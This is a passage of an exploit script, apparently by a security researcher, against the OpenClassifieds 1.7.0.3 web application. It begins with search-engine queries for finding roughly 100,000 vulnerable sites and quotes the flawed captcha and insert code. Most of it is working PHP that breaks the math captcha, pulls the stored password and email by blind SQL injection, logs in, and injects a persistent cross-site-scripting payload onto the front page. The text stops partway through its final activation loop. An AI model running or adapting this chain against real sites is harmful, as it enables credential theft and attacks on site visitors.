Author:Michael Brooks (Rook)
Application:OpenClassifieds 1.7.0.3
download: http://open-classifieds.com/download/
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page
If registration is required an extra link in the chain is added:
Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page
sites with SEO url's enabled:
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)
or default urls:
"powerd by Open Classifieds" inurl:"item-new.php" (16,500 results)
Total sites: ~100,000
The target must be a link to the document root of OpenClassifieds
(If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)
"select substring('abc' from 1 for 1)"
if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end"
CWE Violations leveraged by this exploit:
CWE-256: Plaintext Storage of a Password
CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.)
CWE-89: SQL Injection x2
CWE-79: Cross-site Scripting (Persistant)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable captcha:
openclassifieds/includes/common.php line 291
function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit
for ($i = 0; $i < strlen($input); $i++) {
$output .= "".ord($input[$i]).';';
}
//$output = htmlspecialchars($output);//uncomment to escape sepecial chars
return $output;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function mathCaptcha(){//generates a captcha for the form
$first_number=mt_rand(1, 94);//first operation number
$second_number=mt_rand(1, 5);//second operation number
$_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result
$operation=" ".encode_str($first_number ." + ". $second_number)."?";//operation codifieds
echo _("How much is")." ".$operation;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable persistant xss and sqli
/content/item-new.php line 41
$ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".
cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*/
set_time_limit(0);
error_reporting(0);
function main(){
if($_REQUEST['target'] && $_REQUEST['xss']){
if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){
print("Persistant XSS attack was sucessful.");
}else{
print("Persistant XSS attack has failed.");
}
}
}
//w00t, I can crack your captcha with 4 lines of code!
//It would have been 3 if i had used eval(), but that would be a vulnerability ;)
function breakCaptcha($page){
preg_match("/\(.*)\<\/b\>\?/",$page,$match);
$code=html_entity_decode($match[1]);
$math=new EvalMath();
return $math->evaluate($code);
}
function xssFrontPage($url,$xss){
$h=new http_client();
$page=$h->send($url."/content/item-new.php");
#Authentication required.
if(strstr($page,'Location: http')){#Do we need authentication?
print "Blind SQL Injection required.
";
$sex=new openclassifieds_blind_sql_injection($url."/");
if($sex->test_target()){
print "Target is vulnerable to attack!
";
$pass=$sex->find_string("password");
print "Found Password:$pass
";
$email=$sex->find_string("email");
print "Found email:$email
";
$h->postdata="email=$email&password=$pass&submit=loading...";
$h->send($url."/content/account/login.php");
$h->postdata='';
$page=$h->send($url."/");
}else{
die("This target is not exploitable!
");
}
}else{
$email="test@test.com";
}
$code=breakCaptcha($page);
$payload=blind_sql_injection::charEncode($xss);
$pwd=mt_rand(1,9999999);//Strong password :p
$fake_phone=mt_rand(1111111111,9999999999);
$fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");
$fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));
//Stored xss in the description,place and name columns.
$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";
$h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;
$h->send($url."/content/item-new.php");
$h->postdata='';
//I could use sql injection to find the id, but thats noisy and slow.
$rss=$h->send($url."/content/feed-rss.php");
//seo friendly
if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){
$guess=$match[1];
}else if(preg_match("/item\=(.*)\&type/",$rss,$match)){
$guess=$match[1];
}else{
$guess=0;
}
$guess++;
$page='';
$test=false;
#Now lets activate the XSS post.
for($x=$guess;$x-$guess<=128&&!$test;$x++){
$page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");
$test=strstr($page,"